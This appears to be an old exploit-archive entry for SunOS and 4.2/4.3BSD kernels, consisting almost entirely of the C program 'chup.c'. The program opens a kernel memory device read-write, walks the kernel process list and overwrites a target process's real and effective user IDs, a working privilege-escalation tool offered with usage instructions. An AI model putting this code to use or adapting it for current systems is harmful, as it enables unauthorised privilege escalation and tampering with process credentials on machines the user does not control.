COMMAND
kernel
SYSTEMS AFFECTED
SunOS
Should work on any 4.2/4.3BSD based kernel
PROBLEM
---------------------------------------------------------------------------
/*
* chup.c - change uid of a running process.
* Should work on any 4.2/4.3BSD based kernel.
* Written by Avalon (avalon@coombs.anu.edu.au), 22/12/93.
Ported to SunOS by x0d, me thinks.
*/
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/param.h>
#define KERNEL
#include <sys/file.h>
#undef KERNEL
#include <nlist.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/proc.h>
#include <sys/ucred.h>
/* #include <sys/processflags.h> /**/
#ifndef offsetof
#define offsetof(t,m) (int)((&((t *)0L)->m))
#endif
#define DEVKMEM "/home/new-kmem"
struct nlist names[] = {
{ "_allproc", 0, 0, 0, 0},
{ (char *)NULL, 0, 0, 0, 0 }
};
static int kfd = -1, pid = -1, uid = -1, euid = -1, debug = 0;
void fatal(status, msg)
int status;
char *msg;
{
perror(msg);
exit(status);
}
static int lock_on() {
return 0;
}
static int lock_off() {
return 0;
}
int kopen() {
return (kfd = open(DEVKMEM, O_RDWR));
}
void kread(buf, pos, n)
char *buf;
off_t pos;
int n;
{
if (!n) return;
if (debug) printf("read %d @%#x to %#x on %d\n", n, pos, buf, kfd);
if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(r)lseek");
if (read(kfd, buf, n) != n) fatal(-1, "kread");
}
int kwrite(buf, pos, size)
char *buf;
u_long pos, size;
{
if (lseek(kfd, pos, 0) == -1) fatal(-1, "k(w)lseek");
if (debug) printf("write %d to %#x from %#x on %d\n", size, pos, buf, kfd);
if (write(kfd, buf, size) == -1) fatal(-1, "kwrite");
return 0;
}
int change_proc() {
register int i;
int np;
struct proc p,*next;
struct ucred ucr;
if (nlist("/vmunix", names) == -1) fatal(-1, "nlist");
if (kopen() == -1) fatal(-1, DEVKMEM);
if (lock_on() == -1) return -1;
if(names[0].n_value ==0) fatal(-1, "no allproc");
kill(pid, SIGSTOP);
kread((char *)&next, names[0].n_value, sizeof(struct proc *));
/* walk the linked list */
for (i = 0; next; i++) {
kread((char *)&p, (char *)next, sizeof(p));
next = p.p_nxt;
if (p.p_pid == pid) {
if(!p.p_cred) fatal(-1, "no credentials with this process!");
kread((char *)&ucr, (char *)p.p_cred, sizeof(ucr));
printf("%d %d (uid %d, suid %d) uid %d euid %d\n",
i, p.p_pid, p.p_uid, p.p_suid, ucr.cr_ruid,ucr.cr_uid);
if (uid != -1) {
ucr.cr_ruid = uid;
kwrite((char *)&ucr + offsetof(struct ucred, cr_ruid),
(char *)p.p_cred + offsetof(struct ucred, cr_ruid),
sizeof(ucr.cr_ruid));
}
if(euid != -1) {
ucr.cr_uid = euid;
kwrite((char *)&ucr + offsetof(struct ucred, cr_uid),
(char *)p.p_cred + offsetof(struct ucred, cr_uid),
sizeof(ucr.cr_uid));
}
printf("set to %d %d\n", uid, euid);
break;
}
}
kill(pid, SIGCONT);
if (!next) (void) fprintf(stderr, "process %d not found\n", pid);
/* we're not going through that again :)
else {
kread((char *)p, (char *)pt + i * sizeof(*p), sizeof(*p));
kread((char *)&pcr, (char *)p->p_cred, sizeof(pcr));
if(pcr.pc_ucred != NOCRED) kread((char *)&ucr, (char *)pcr.pc_ucred, sizeof(ucr));
(void) printf("%d %d uid %d euid %d\n", i, p->p_pid, pcr.p_ruid,
(pcr.pc_ucred!=NOCRED)? ucr.cr_uid : pcr.p_ruid);
}
*/
lock_off();
}
void printusage(name)
char *name;
{
(void) fprintf(stderr, "usage:\n%s <pid> [uid [euid]]\n", name); }
int do_args(argc, argv)
int argc;
char *argv[];
{
if (argv[1] && !strcmp(argv[1], "-d")) argv++, argc--, debug = 1;
if (argc == 1) {
printusage(argv[0]);
return -1;
}
if (kill(pid = atoi(argv[1]), 0) == -1) {
perror(argv[0]);
return -1;
}
if (argc > 2) {
uid = atoi(argv[2]);
if (argc > 3) euid = atoi(argv[3]);
}
return 0;
}
main(argc, argv)
int argc;
char *argv[];
{
if (do_args(argc, argv)) exit(1);
return change_proc();
}